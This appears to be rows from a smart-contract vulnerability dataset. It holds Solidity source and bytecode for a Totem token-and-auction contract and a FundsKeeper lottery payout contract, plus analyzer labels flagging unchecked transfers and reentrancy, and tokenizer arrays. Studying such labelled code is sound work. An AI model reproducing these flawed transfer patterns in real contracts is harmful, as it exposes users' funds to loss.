public { totemNFT = _totemNFT; _tokenOwned[_msgSender()] = _tokenTotal; emit Transfer(address(0), _msgSender(), _tokenTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return _tokenOwned[account]; } function totalSupply() public view override returns (uint256) { uint256 burned = balanceOf(burnaddr); return _tokenTotal.sub(burned); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function accountRewards(address account) public view returns (uint256) { return _rewardsReceived[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (sender == owner()) { _developtransfer(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _developtransfer(address sender, address recipient, uint256 tAmount) private { _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount); _tokenOwned[recipient] = _tokenOwned[recipient].add(tAmount); emit Transfer(sender, recipient, tAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount); if (totemNFT.totemOwnersNow() == 0) { _tokenOwned[recipient] = _tokenOwned[recipient].add(tAmount); emit Transfer(sender, recipient, tAmount); } else { _tokenOwned[recipient] = _tokenOwned[recipient].add(tTransferAmount); _distFeeinRef(tFee, sender); emit Transfer(sender, recipient, tTransferAmount); } } function _distFeeinRef(uint256 tFee, address sender) private { uint256 share = tFee.div(totemNFT.totemOwnersNow()); for (uint256 i = 0; i < totemNFT.totemOwnersNow(); i++) { _rewardsReceived[totemNFT.gettotemOwners(i)] = _rewardsReceived[totemNFT.gettotemOwners(i)].add(share); _tokenOwned[totemNFT.gettotemOwners(i)] = _tokenOwned[totemNFT.gettotemOwners(i)].add(share); emit Transfer(sender, totemNFT.gettotemOwners(i), share); } _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } } // File: contracts/TotemAuction.sol pragma solidity ^0.6.2; contract TotemAuction is Ownable { using SafeMath for uint256; using Address for address; event Auction_Created(uint256 _index); event Auction_BID(uint256 _index, address _bidder, uint256 amount); event ClaimTOTEM(uint256 auctionIndex, address claimer); event BurnTEM(uint256 auctionIndex); TotemToken public totemToken; TotemNFT public totemNFT; address public constant BURNADDRESS = 0x000000000000000000000000000000000000000d; constructor(TotemNFT _totemNFT, TotemToken _totemToken) public { totemNFT = _totemNFT; totemToken = _totemToken; } enum Status { pending, active, finished } struct Auction { uint256 assetId; uint256 startTime; uint256 duration; uint256 currentBidAmount; address currentBidOwner; uint256 bidCount; bool claimedNFT; } Auction[] private auctions; function createAuction(uint256 _assetId, uint256 _startPrice, uint256 _startTime, uint256 _duration) public onlyOwner returns (uint256) { require(totemNFT.ownerOf(_assetId) == msg.sender); require(totemNFT.getApproved(_assetId) == address(this)); if (_startTime == 0) { _startTime = now; } Auction memory auction = Auction({ assetId: _assetId, startTime: _startTime, duration: _duration, currentBidAmount: _startPrice, currentBidOwner: address(0), bidCount: 0, claimedNFT: false }); auctions.push(auction); uint256 index = auctions.length.sub(1); emit Auction_Created(index); return index; } function bid(uint256 auctionIndex, uint256 amount) public returns (bool) { Auction storage auction = auctions[auctionIndex]; require(isActive(auctionIndex)); if (amount > auction.currentBidAmount) { // we got a better bid. Return tokens to the previous best bidder // and register the sender as `currentBidOwner` require(totemToken.transferFrom(msg.sender, address(this), amount)); if (auction.currentBidOwner != address(0)) { // return funds to the previuos bidder if (totemNFT.totemOwnersNow() == 0) { totemToken.transfer( auction.currentBidOwner, auction.currentBidAmount ); } else { uint256 rFee = auction.currentBidAmount.div(100); uint256 rReturnAmount = auction.currentBidAmount.sub(rFee); totemToken.transfer( auction.currentBidOwner, rReturnAmount ); } } // register new bidder auction.currentBidAmount = amount; auction.currentBidOwner = msg.sender; auction.bidCount = auction.bidCount.add(1); emit Auction_BID(auctionIndex, msg.sender, amount); return true; } return false; } function isClaimedNFT(uint256 auctionIndex) public view returns (bool) { return auctions[auctionIndex].claimedNFT; } function getTotalAuctions() public view returns (uint256) { return auctions.length; } function isActive(uint256 index) public view returns (bool) { return getStatus(index) == Status.active; } function isFinished(uint256 index) public view returns (bool) { return getStatus(index) == Status.finished; } function getStatus(uint256 index) public view returns (Status) { Auction storage auction = auctions[index]; if (now < auction.startTime) { return Status.pending; } else if (now < auction.startTime.add(auction.duration)) { return Status.active; } else if (now >= auction.startTime.add(auction.duration) && auction.bidCount == 0) { return Status.active; } else { return Status.finished; } } function getCurrentBidOwner(uint256 auctionIndex) public view returns (address) { return auctions[auctionIndex].currentBidOwner; } function getCurrentBidAmount(uint256 auctionIndex) public view returns (uint256) { return auctions[auctionIndex].currentBidAmount; } function getBidCount(uint256 auctionIndex) public view returns (uint256) { return auctions[auctionIndex].bidCount; } function getWinner(uint256 auctionIndex) public view returns (address) { require(isFinished(auctionIndex)); return auctions[auctionIndex].currentBidOwner; } function getEndTime(uint256 auctionIndex) public view returns (uint256) { return auctions[auctionIndex].startTime.add(auctions[auctionIndex].duration); } function burntem(uint256 auctionIndex) public onlyOwner { require(isFinished(auctionIndex)); Auction storage auction = auctions[auctionIndex]; uint256 bFee = auction.currentBidAmount.div(100); uint256 bBurnAmount = auction.currentBidAmount.sub(bFee); require(totemToken.transfer(BURNADDRESS, bBurnAmount)); emit BurnTEM(auctionIndex); } function claimtotem(uint256 auctionIndex) public { require(isFinished(auctionIndex)); Auction storage auction = auctions[auctionIndex]; address winner = getWinner(auctionIndex); require(winner == msg.sender); totemNFT.transferFrom(owner(), winner, auction.assetId); auction.claimedNFT = true; emit ClaimTOTEM(auctionIndex, winner); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063744d3411116100ad578063be459f6211610071578063be459f6214610531578063e8153c9314610577578063e8ba6509146105c1578063ed7c5f0a14610607578063f2fde38b146106515761012c565b8063744d3411146103af57806382afd23b146103f157806386b46073146104375780638da5cb5b146104a55780639067b677146104ef5761012c565b8063598647f8116100f4578063598647f8146102795780635b6007e4146102c95780635c622a0e146103135780636975846a14610363578063715018a6146103a55761012c565b80630b71b024146101315780633ef14cc81461015f5780634129b2c91461017d578063431f21da146101eb578063580a5f2e1461024b575b600080fd5b61015d6004803603602081101561014757600080fd5b8101908080359060200190929190505050610695565b005b6101676108f1565b6040518082815260200191505060405180910390f35b6101a96004803603602081101561019357600080fd5b81019080803590602001909291905050506108fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102356004803603608081101561020157600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610958565b6040518082815260200191505060405180910390f35b6102776004803603602081101561026157600080fd5b8101908080359060200190929190505050610d7a565b005b6102af6004803603604081101561028f57600080fd5b810190808035906020019092919080359060200190929190505050610f7d565b604051808215151515815260200191505060405180910390f35b6102d161152a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61033f6004803603602081101561032957600080fd5b8101908080359060200190929190505050611550565b6040518082600281111561034f57fe5b60ff16815260200191505060405180910390f35b61038f6004803603602081101561037957600080fd5b81019080803590602001909291905050506115fa565b6040518082815260200191505060405180910390f35b6103ad611622565b005b6103db600480360360208110156103c557600080fd5b81019080803590602001909291905050506117aa565b6040518082815260200191505060405180910390f35b61041d6004803603602081101561040757600080fd5b81019080803590602001909291905050506117d2565b604051808215151515815260200191505060405180910390f35b6104636004803603602081101561044d57600080fd5b81019080803590602001909291905050506117fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ad611845565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61051b6004803603602081101561050557600080fd5b810190808035906020019092919050505061186e565b6040518082815260200191505060405180910390f35b61055d6004803603602081101561054757600080fd5b81019080803590602001909291905050506118c6565b604051808215151515815260200191505060405180910390f35b61057f6118fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ed600480360360208110156105d757600080fd5b8101908080359060200190929190505050611921565b604051808215151515815260200191505060405180910390f35b61060f61194b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106936004803603602081101561066757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611950565b005b61069d611b5d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61076781611921565b61077057600080fd5b60006003828154811061077f57fe5b9060005260206000209060070201905060006107a960648360030154611b6590919063ffffffff16565b905060006107c4828460030154611baf90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561087057600080fd5b505af1158015610884573d6000803e3d6000fd5b505050506040513d602081101561089a57600080fd5b81019080805190602001909291905050506108b457600080fd5b7fc8c3ed58526af141410714f4a0528898456ce39cab362f453e1b11c625c976be846040518082815260200191505060405180910390a150505050565b6000600380549050905090565b600061090982611921565b61091257600080fd5b6003828154811061091f57fe5b906000526020600020906007020160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610962611b5d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610aad57600080fd5b505afa158015610ac1573d6000803e3d6000fd5b505050506040513d6020811015610ad757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614610b0857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663081812fc876040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610b9257600080fd5b505afa158015610ba6573d6000803e3d6000fd5b505050506040513d6020811015610bbc57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614610bed57600080fd5b6000831415610bfa574292505b610c02611e07565b6040518060e00160405280878152602001858152602001848152602001868152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815250905060038190806001815401808255809150506001900390600052602060002090600702016000909190919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555050506000610d346001600380549050611baf90919063ffffffff16565b90507f331eda42eb8c587db6a0d4ff9f2d3e909935c25fde460a7595a8a42c7fe48a64816040518082815260200191505060405180910390a18092505050949350505050565b610d8381611921565b610d8c57600080fd5b600060038281548110610d9b57fe5b906000526020600020906007020190506000610db6836108fe565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610df057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd610e36611845565b8385600001546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610ed857600080fd5b505af1158015610eec573d6000803e3d6000fd5b5050505060018260060160006101000a81548160ff0219169083151502179055507fe1d3206287674bfe662ae3c618dad632b80ed89e08b7fe0f160ef9bac382ea028382604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050565b60008060038481548110610f8d57fe5b90600052602060002090600702019050610fa6846117d2565b610faf57600080fd5b806003015483111561151e57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561109857600080fd5b505af11580156110ac573d6000803e3d6000fd5b505050506040513d60208110156110c257600080fd5b81019080805190602001909291905050506110dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611435576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b4571ba86040518163ffffffff1660e01b815260040160206040518083038186803b15801561119e57600080fd5b505afa1580156111b2573d6000803e3d6000fd5b505050506040513d60208110156111c857600080fd5b810190808051906020019092919050505014156112f157600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600301546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112b057600080fd5b505af11580156112c4573d6000803e3d6000fd5b505050506040513d60208110156112da57600080fd5b810190808051906020019092919050505050611434565b600061130b60648360030154611b6590919063ffffffff16565b90506000611326828460030154611baf90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113f557600080fd5b505af1158015611409573d6000803e3d6000fd5b505050506040513d602081101561141f57600080fd5b81019080805190602001909291905050505050505b5b828160030181905550338160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061149960018260050154611bf990919063ffffffff16565b81600501819055507f1b577ce01ba80fee478cbdf67b4e38f2b901599460f21b5c8bb27f4aac0057c6843385604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16001915050611524565b60009150505b92915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806003838154811061156057fe5b9060005260206000209060070201905080600101544210156115865760009150506115f5565b6115a181600201548260010154611bf990919063ffffffff16565b4210156115b25760019150506115f5565b6115cd81600201548260010154611bf990919063ffffffff16565b42101580156115e0575060008160050154145b156115ef5760019150506115f5565b60029150505b919050565b60006003828154811061160957fe5b9060005260206000209060070201600301549050919050565b61162a611b5d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600382815481106117b957fe5b9060005260206000209060070201600501549050919050565b6000600160028111156117e157fe5b6117ea83611550565b60028111156117f557fe5b149050919050565b60006003828154811061180c57fe5b906000526020600020906007020160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006118bf6003838154811061188057fe5b9060005260206000209060070201600201546003848154811061189f57fe5b906000526020600020906007020160010154611bf990919063ffffffff16565b9050919050565b6000600382815481106118d557fe5b906000526020600020906007020160060160009054906101000a900460ff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060028081111561192f57fe5b61193883611550565b600281111561194357fe5b149050919050565b600d81565b611958611b5d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611e5d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000611ba783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c81565b905092915050565b6000611bf183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d47565b905092915050565b600080828401905083811015611c77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290611d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cf2578082015181840152602081019050611cd7565b50505050905090810190601f168015611d1f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d3957fe5b049050809150509392505050565b6000838311158290611df4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611db9578082015181840152602081019050611d9e565b50505050905090810190601f168015611de65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6040518060e0016040528060008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600015158152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212207bb487cca0159abab04fd6233ba8ad0f1fd7b6396695420d6d66feeee97a8ec464736f6c63430006020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 22407, 28311, 2063, 29097, 2581, 2509, 2497, 2509, 2278, 25746, 2692, 22394, 2575, 16409, 2575, 2278, 2629, 2546, 12521, 2094, 14526, 2549, 19797, 14141, 2509, 2497, 2487, 2063, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,064
0x96288906f3a363e98b0595a9205f5c9e31e9a3c1
pragma solidity 0.4.19; contract InterfaceDeusETH { bool public gameOver; bool public gameOverByUser; function totalSupply() public view returns (uint256); function livingSupply() public view returns (uint256); function getState(uint256 _id) public returns (uint256); function getHolder(uint256 _id) public returns (address); } contract FundsKeeper { using SafeMath for uint256; InterfaceDeusETH public deusETH = InterfaceDeusETH(0x0); bool public started = false; uint256 public weiReceived; // address of team address public owner; bool public salarySent = false; uint256 public totalPayments = 0; mapping(uint256 => bool) public payments; event Bank(uint256 indexed _sum, uint256 indexed _add); modifier onlyOwner() { require(msg.sender == owner); _; } function FundsKeeper(address _owner) public { require(_owner != address(0)); owner = _owner; } function () external payable { weiReceive(); } function getGain(uint256 _id) public { require((deusETH.gameOver() && salarySent) || deusETH.gameOverByUser()); require(deusETH.getHolder(_id) == msg.sender); require(deusETH.getState(_id) == 1); //living token only require(payments[_id] == false); address winner = msg.sender; uint256 gain = calcGain(); require(gain != 0); require(this.balance >= gain); totalPayments = totalPayments.add(gain); payments[_id] = true; winner.transfer(gain); } function setLottery(address _deusETH) public onlyOwner { require(!started); deusETH = InterfaceDeusETH(_deusETH); started = true; } function getTeamSalary() public onlyOwner returns (bool) { require(!salarySent); require(deusETH.gameOver()); require(!deusETH.gameOverByUser()); salarySent = true; weiReceived = this.balance; uint256 salary = weiReceived/10; weiReceived = weiReceived.sub(salary); owner.transfer(salary); return true; } function changeLottery(address _deusETH) onlyOwner public { deusETH = InterfaceDeusETH(_deusETH); } function checkPayments(uint _id) public view returns (bool) { return payments[_id]; } function changeOwner(address _newOwner) public onlyOwner returns (bool) { require(_newOwner != address(0)); owner = _newOwner; return true; } function weiReceive() internal { Bank(this.balance, msg.value); } function calcGain() internal returns (uint256) { if (deusETH.gameOverByUser() && (weiReceived == 0)) { weiReceived = this.balance; } return weiReceived/deusETH.livingSupply(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100aa5763ffffffff60e060020a6000350416625b448781146100b45780631f2698ab146100d95780632dcd4e4114610100578063512f8f92146101165780635a1bdaa1146101355780638661009b1461016457806386985bee1461017a57806387d817891461018d5780638da5cb5b146101a3578063a000aeb7146101b6578063a6f9dae1146101c9578063d40fd402146101e8578063f298083b146101fb575b6100b261021a565b005b34156100bf57600080fd5b6100c7610254565b60405190815260200160405180910390f35b34156100e457600080fd5b6100ec61025a565b604051901515815260200160405180910390f35b341561010b57600080fd5b6100b260043561026a565b341561012157600080fd5b6100b2600160a060020a0360043516610511565b341561014057600080fd5b61014861055b565b604051600160a060020a03909116815260200160405180910390f35b341561016f57600080fd5b6100ec60043561056a565b341561018557600080fd5b6100ec61057f565b341561019857600080fd5b6100ec600435610715565b34156101ae57600080fd5b61014861072a565b34156101c157600080fd5b6100c7610739565b34156101d457600080fd5b6100ec600160a060020a036004351661073f565b34156101f357600080fd5b6100ec6107a4565b341561020657600080fd5b6100b2600160a060020a03600435166107b4565b3430600160a060020a0316317fb991f60703bdc053d2af3949b662b91b52b70aae5a5f0e4450a9d4ecab62b93a60405160405180910390a3565b60035481565b60005460a060020a900460ff1681565b600080548190600160a060020a031663bdb337d182604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156102b457600080fd5b6102c65a03f115156102c557600080fd5b5050506040518051905080156102e4575060025460a060020a900460ff165b8061034f575060008054600160a060020a03169063a66b62e690604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561033357600080fd5b6102c65a03f1151561034457600080fd5b505050604051805190505b151561035a57600080fd5b60008054600160a060020a033381169291169063e8a96b469086906040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156103b257600080fd5b6102c65a03f115156103c357600080fd5b50505060405180519050600160a060020a03161415156103e257600080fd5b60008054600160a060020a0316906344c9af289085906040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561043557600080fd5b6102c65a03f1151561044657600080fd5b5050506040518051600114905061045c57600080fd5b60008381526004602052604090205460ff161561047857600080fd5b339150610483610834565b905080151561049157600080fd5b600160a060020a03301631819010156104a957600080fd5b6003546104bc908263ffffffff61092d16565b60035560008381526004602052604090819020805460ff19166001179055600160a060020a0383169082156108fc0290839051600060405180830381858888f19350505050151561050c57600080fd5b505050565b60025433600160a060020a0390811691161461052c57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b60009081526004602052604090205460ff1690565b600254600090819033600160a060020a0390811691161461059f57600080fd5b60025460a060020a900460ff16156105b657600080fd5b60008054600160a060020a03169063bdb337d190604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105ff57600080fd5b6102c65a03f1151561061057600080fd5b50505060405180519050151561062557600080fd5b60008054600160a060020a03169063a66b62e690604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561066e57600080fd5b6102c65a03f1151561067f57600080fd5b505050604051805115905061069357600080fd5b506002805474ff0000000000000000000000000000000000000000191660a060020a179055600160a060020a033016316001819055600a8104906106d79082610943565b600155600254600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561070d57600080fd5b600191505090565b60046020526000908152604090205460ff1681565b600254600160a060020a031681565b60015481565b60025460009033600160a060020a0390811691161461075d57600080fd5b600160a060020a038216151561077257600080fd5b5060028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60025460a060020a900460ff1681565b60025433600160a060020a039081169116146107cf57600080fd5b60005460a060020a900460ff16156107e657600080fd5b6000805474ff000000000000000000000000000000000000000019600160a060020a0390931673ffffffffffffffffffffffffffffffffffffffff19909116179190911660a060020a179055565b60008054600160a060020a031663a66b62e682604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561087c57600080fd5b6102c65a03f1151561088d57600080fd5b5050506040518051905080156108a35750600154155b156108b757600160a060020a033016316001555b60008054600160a060020a03169063bdb6bce890604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561090057600080fd5b6102c65a03f1151561091157600080fd5b5050506040518051905060015481151561092757fe5b04905090565b60008282018381101561093c57fe5b9392505050565b60008282111561094f57fe5b509003905600a165627a7a72305820dd60154e5037a1021a846d60fb89bb09848b3021b1ea7ec5e73d3f196bfb595d0029
